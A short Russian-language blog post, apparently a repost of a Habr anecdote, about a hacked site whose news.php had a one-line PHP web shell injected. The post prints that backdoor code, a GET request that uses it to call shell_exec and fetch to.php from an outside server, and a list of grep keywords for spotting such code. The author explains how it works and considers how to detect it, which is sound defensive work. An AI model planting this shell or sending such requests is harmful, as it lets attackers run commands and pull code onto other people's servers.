Интеллектуально, заливщик бекдоров на PHP

Тут народ на хабре недоумевал, насчет кода, который заливает удаленную функцию, по $_GET.

«…Одному страдальцу каждую ночь ломали сайт, как он его ни восстанавливал из бакапов, как ни обновлял скрипты. Обратился товарищ ко мне за помощью, я прогрепал все скрипты на всевозможные shell_exec/eval/base64_decode/preg_replace.*/e — ничего! В логах доступа нашел-таки подозрительное обращение к одному из скриптов, глянул в него — первой строкой был вставлен код вида:

<?=($_=@$_GET[c]).stripslashes(@$_($_GET[f]))?>

обращались к скрипту так:

GET /news.php?c=shell_exec&f=fetch%20http://bitrix.metrolux******.ru/upload/to.php

…»

Гениально, конечно. В $_GET[«с»] — передается название функции, в $_GET[«f»] — fetch <имя файла на удаленном сервере>, то есть грубо говоря, через Shell закачивается удаленный файл, to.php, который собственно, потом можно исполнить.

Красота, теперь я вот задумался, как бы отловить это все дело во всех своих скриптах, которые написаны, например для проверки всех пхп файлов, на такое вот сочетание символов.

Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *